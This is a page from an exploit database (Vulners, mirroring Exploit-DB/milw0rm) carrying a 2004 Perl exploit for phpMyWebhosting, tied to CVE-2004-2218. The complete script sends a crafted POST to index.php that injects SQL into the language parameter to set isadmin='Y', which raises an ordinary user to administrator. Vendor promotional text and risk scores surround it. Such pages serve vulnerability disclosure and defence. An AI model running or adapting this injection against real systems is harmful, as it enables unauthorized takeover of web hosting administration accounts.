Lucene search
+L

phpMyWebhosting - SQL Injection

🗓️ 20 Aug 2004 00:00:00Reported by Noam RathausType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Exploit code for SQL injection vulnerability to elevate user privileges in phpMyWebhosting.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2004-2218
17 Jul 200504:00
cve
cvelist
Cvelist
CVE-2004-2218
17 Jul 200504:00
cvelist
euvd
EUVD
EUVD-2004-2210
7 Oct 202500:30
euvd
nvd
NVD
CVE-2004-2218
31 Dec 200405:00
nvd
nessus
Tenable Nessus
phpMyWebHosting Authentication SQL Injection
19 Jan 200500:00
nessus
#!/usr/bin/perl
# Exploit code by Noam Rathaus of Beyond Security Ltd.
# The following exploit code will use a valid username and password
combination, to cause an SQL injection.
# Using the SQL injection, the Perl script elevates the privileges of the
user provided to administrative.

use IO::Socket;
use strict;

my $Host = shift;
my $Path = shift;
my $Username = shift;
my $Password = shift;

if ($Host eq "" || $Path eq "" || $Username eq "" || $Password eq "")
{
print "You must run the script with the following syntax:\n";
print $0." hostname path username password\n";
exit(0);
}

my $remote = IO::Socket::INET->new (  Proto => "tcp", PeerAddr => $Host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $Host" }

print "connected\n";

$remote->autoflush(1);

my $http = "POST /$Path/index.php HTTP/1.1
Host: $Host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506
Firefox/0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content =
"PHP_AUTH_USER=$Username&password=$Password&language=english',isadmin='Y&login=Login";

$http .= length($content)."

$content";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while ()
{
print $_;
}
print "\n";

close $remote;


# milw0rm.com [2004-08-20]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02444
36